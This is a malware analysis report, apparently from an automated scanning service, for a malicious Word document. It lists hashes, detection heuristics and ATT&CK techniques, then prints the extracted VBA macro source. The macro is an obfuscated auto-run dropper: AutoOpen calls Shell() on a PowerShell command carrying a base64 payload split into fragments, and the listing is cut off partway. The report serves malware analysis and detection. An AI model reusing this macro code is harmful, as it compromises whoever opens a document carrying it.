Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15a0a4616c4c9336…

MALICIOUS

Office (OLE)

96.0 KB Created: 2018-06-08 17:00:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 6dedf19834d27d40068b365ccddb7fc0 SHA-1: 44dee89e6c37372406cc06e19f6e43ea79162804 SHA-256: 15a0a4616c4c9336f928f15bfb2c4bb6fb3058a698b456dbc54f966a74851425
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6584270-0' further confirms its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6584270-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6584270-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12880 bytes
SHA-256: e35094a00d5997b92aaccb3a66b421cee03f1cd0d37c825a843a949e9037309a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ArbVhjnohi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function QjwIhZ()
On Error Resume Next
For RWnhk = EpFdM To HKrkVm
      For OXONa = FPMIE To 90198
         mODZQf = (13819 / CBool(irXHpR) - rZmVhi / Oct(81581 / Hex(74392) / JMXiu + Rnd(jBidss / Fix(37))))
Next
   SUpfQ = 69015 - 62143
Next
For FlrdXm = iNEvc To PEHcr
      For KWYLYj = HSfBOG To 12256
         DafBW = (10913 / CBool(SUZwQ) - CQiCZ / Oct(96584 / Hex(41915) / jaTum + Rnd(EDLppV / Fix(37))))
Next
   LdbaUf = 187 - 7522
Next
QjwIhZ = sEJGzCroE + Shell(AQjrPYIJJ + Chr(dwYjRJ + vbKeyP + huTijc) + "owers" + vwAjjP + uiuHN + fTRQjz + ijCUi, 8512 - 8512)
For mbSdE = zzpIk To WAMGka
      For PIjHu = rmHcE To 35067
         Rcorb = (17550 / CBool(CGMAhl) - odOTkF / Oct(88772 / Hex(78559) / CUYLMP + Rnd(XkqOYu / Fix(37))))
Next
   VfazD = 17225 - 92610
Next
End Function
Sub Autoopen()
On Error Resume Next
For aJTDIs = UMbch To XDzNnQ
      For PrWauR = oJGqfz To 36418
         OsJGwO = (32022 / CBool(nvNZwb) - lQsGUj / Oct(74856 / Hex(86677) / qzTKG + Rnd(whSdoF / Fix(37))))
Next
   jTawN = 67500 - 58492
Next
QjwIhZ
For svMjUa = swKbzB To wvFXC
      For fGUmYh = YfVVDO To 52917
         EGilJJ = (79282 / CBool(SNFCQ) - fsqjf / Oct(4181 / Hex(71665) / ZHmrPM + Rnd(oXkZRs / Fix(37))))
Next
   blsppm = 4685 - 49644
Next
End Sub


Attribute VB_Name = "fTBAcfXjZ"
Function vwAjjP()
On Error Resume Next
For sNJBHF = BJkzn To MbatNp
      For jbzqim = URkrtj To 26395
         uVVHcJ = (15903 / CBool(sbVboJ) - ZGnXw / Oct(33473 / Hex(30490) / SUUDj + Rnd(sGGji / Fix(37))))
Next
   EYGMfb = 1946 - 9526
Next
ucRzwAQ = "HeLL -e IAAo" + "AG4AZQBXAC" + "0ATwBCAEoA" + "ZQBjAFQAIA" + "BJAG8ALgBzAF" + "QAcgBFAGEATQB" + "SAEUA"
For NLvKu = lGIOQ To CCmHFY
      For zVPvJ = SAzasX To 31533
         EEJYs = (80546 / CBool(HzzRO) - CVTEZ / Oct(5925 / Hex(98893) / tzPmi + Rnd(KlfQrA / Fix(37))))
Next
   wzdiM = 66240 - 76994
Next
pEamjs = "QQBEAGUAUgAo" + "ACgAIABuAGU" + "AVw" + "AtAE8AQgBKA" + "GUAY" + "wBUAC" + "AAcwB" + "5AHMAVA" + "BFAG"
For VSivaQ = jVTUQF To HtmKO
      For VUhZO = DXqWMU To 21906
         XflqH = (21569 / CBool(FJwWjO) - qjvCUl / Oct(44301 / Hex(2597) / EhsMHq + Rnd(HzFsnb / Fix(37))))
Next
   wCDXP = 20796 - 70111
Next
mzsFlZluzwV = "0AL" + "gBJAG8ALgBjAE" + "8AbQBQAHIARQB" + "zAHMAaQBvA"
For iTQhG = KAapWu To JPwXPJ
      For XdVAPb = zQNHqA To 3060
         YvajZ = (94892 / CBool(fCRhbn) - EzABvf / Oct(2402 / Hex(95954) / SiaKj + Rnd(iftfG / Fix(37))))
Next
   CzfkrY = 96880 - 36318
Next
pQYuQrdm = "G4ALgBEA" + "GUAZgBMAGEAVABF" + "AHMAdAByAGUAYQ" + "BtA" + "CgAWwB" + "JAE8AL" + "gBtAGUA"
For hAMMMN = pFVBa To IFwmPS
      For lnwjw = CVQDH To 5522
         hkiOwX = (98674 / CBool(qoJFQX) - ZlFIfw / Oct(93827 / Hex(89260) / fPLLl + Rnd(COwvz / Fix(37))))
Next
   aknsT = 84193 - 91931
Next
TrWOwnKCZu = "bQB" + "vAHIAeQ" + "Bz" + "AHQAcgBlAGEAT" + "QBdAF" + "sAYwBPAE4Adg"
For mbfiNv = wzWjkp To jiMorR
      For uGUZQz = RQMGA To 91049
         Dkjzp = (86834 / CBool(PbPMi) - AFjiAi / Oct(24581 / Hex(84525) / KEwwi + Rnd(iJZjuK / Fix(37))))
Next
   wfqBYi = 60909 - 60137
Next
jYLGTnVm = "BFAFIAdABdAD" + "oA" + "OgBm" + "AFIAbwBNA" + "EIAQ" + "QBzAGUANg"
For MizAM = iGWiYi To bAtOX
      For RqcnpV = AnwGi To 23622
         FsOwiU = (97207 / CBool(SNLlwZ) - qIJLz / Oct(26360 / Hex(29658) / uJfFju + Rnd(QEMtU / Fix(37))))
Next
   lzkCip = 44759 - 29541
Next
VLzoETAkH = "A0AHMAVABSAE" + "kATgBnA" + "CgAJwBW" + "AFoA"
For EYhzzq = TNbpIT To zOPhLz
      For YDFTE = ZIRXs To 39242
         FHYmz = (32659 / CBool(kzRib) - KlnTI / Oct(23467 / Hex(34845) / fUcds + Rnd(XKwDzo / Fix(37))))
Next
   jsqck = 88639 - 57234
Next
OfAKLUMcW = "QgB0AFQAO" + "ABJAHcARgBJAFg" + "ALwBTAGoAOABzAE" + "cAVQ" + "BSAHAAUQ" + "BjAFcAMwB"
For Zmasm = oUwPf To wZ
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.